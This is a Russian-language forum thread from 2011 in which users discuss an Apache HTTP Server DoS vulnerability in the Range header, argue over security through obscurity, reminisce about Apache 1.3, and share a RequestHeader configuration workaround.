>> Я ж сказал, "т.е. да, эксперимент некорректен, извиняюсь". Притом даже пояснил что
>> скорее всего не так.
> Давай, делись адресочком своих серверов, а мы уже как нить да и
> посмотрим ;)

Да я бы с радостью. Но у меня выработана некоторая "корпоративная этика". И если я уже озвучил версии ПО, то из соображений безопасности я обязан вам не говорить адреса серверов :)


"а вот Apache 2.2.16 - подвержен"
Отправлено Вася Пупкин , 27-Авг-11 18:42 

> Да я бы с радостью. Но у меня выработана некоторая "корпоративная этика".
> И если я уже озвучил версии ПО, то из соображений безопасности
> я обязан вам не говорить адреса серверов :)

Если Ваша защита базируется на незнании версий ПО заинтересованной стороной, то грош-цена такой защите.
Вот например в банковском секторе используются криптоалгоритмы которые "открыты" изначально (не опенсорс но всем известны).
И это только добавляет уверенности в их надежности.

Что касается конкретно данного бага/фичи/дырки в апаче, могу вас уверить - падают практически все апачи установленные с параметрами по умолчанию. И очень многие с дополнительными плюшками защиты. Скорость падения зависит в основном от ресурсов сервера.



"а вот Apache 2.2.16 - подвержен"
Отправлено Xaionaro , 27-Авг-11 19:13 
>> Да я бы с радостью. Но у меня выработана некоторая "корпоративная этика".
>> И если я уже озвучил версии ПО, то из соображений безопасности
>> я обязан вам не говорить адреса серверов :)
> Если Ваша защита базируется на незнании версий ПО заинтересованной стороной, то грош-цена
> такой защите.
> Вот например в банковском секторе используются криптоалгоритмы которые "открыты" изначально
> (не опенсорс но всем известны).
> И это только добавляет уверенности в их надежности.

Я что-то не понял, я разве сказал, что защита на этом базируется? Это одна из мелких, но вполне разумных мер предосторожности.

> Что касается конкретно данного бага/фичи/дырки в апаче, могу вас уверить - падают
> практически все апачи установленные с параметрами по умолчанию. И очень многие
> с дополнительными плюшками защиты. Скорость падения зависит в основном от ресурсов
> сервера.

Верю. Как я сказал, мне повезло. Обычные меры предосторожности (отключение лишних модулей и т.п.) помогли.


"а вот Apache 2.2.16 - подвержен"
Отправлено Michael Shigorin , 29-Авг-11 10:31 
> Если Ваша защита базируется на незнании версий ПО заинтересованной стороной,
> то грош-цена такой защите.

Если Вы делаете такие выводы, то грош цена как раз им.

> Вот например в банковском секторе [...]  уверенности

Ой, вот только не надо про банки и прочих локхидмартинов.


"а вот Apache 2.2.16 - подвержен"
Отправлено Аноним , 28-Авг-11 17:14 
> Давай, делись адресочком своих серверов, а мы уже как нить да и посмотрим ;)

У этого наивного чукотского юноши адресок с серверами кажется прямо в профайле указан - http://dxhosting.ru :). И при этом он ухитряется играть в прятки, лол :)


"а вот Apache 2.2.16 - подвержен"
Отправлено Xaionaro , 28-Авг-11 21:51 
>> Давай, делись адресочком своих серверов, а мы уже как нить да и посмотрим ;)
> У этого наивного чукотского юноши адресок с серверами кажется прямо в профайле
> указан - http://dxhosting.ru :). И при этом он ухитряется играть в
> прятки, лол :)

Я ещё раз повторяю (предыдущие такое же замечание было удалено модераторами). Я работаю НЕ в http://dxhosting.ru. Да и даже если я скажу где я работаю, это всё-равно не даст вам возможности узнать адреса тех серверов, которые я упоминал. А dxhosting - это лишь хобби. "лол". Что ж вы все такие наивные то?


"Apache 1.3.x - не подвержен?"
Отправлено Michael Shigorin , 29-Авг-11 10:29 
> Врут? Не вижу никаких проблем с apache 1.3.x

У меня такое ощущение уже несколько лет, что какие-то к... колхозники из числа бывших студентов, дорвавшихся до кодовой базы apache-2.0, упор{н,от}о пытаются закопать этот работающий production код, чтоб их поде^H^Wтворение поскорей расползлось.


"Apache 1.3.x - не подвержен?"
Отправлено fossil , 29-Авг-11 12:03 
>> Врут? Не вижу никаких проблем с apache 1.3.x
> У меня такое ощущение уже несколько лет

+100. У меня до сих пор почти везде 1.3.x. Но,
к сожалению, закапывают они довольно успешно. :(


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено Аноним , 29-Авг-11 11:53 
У меня такая проблема:
При использовании SetEnvIf для Apache 2.0 и 2.2:
выдает header unset takes two arguments
в строке RequestHeader unset Range env=bad-range
как починить?

Apache/2.0.63


"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено a , 06-Сен-11 17:18 
заменить на
RequestHeader set Range "badrange" env=bad-range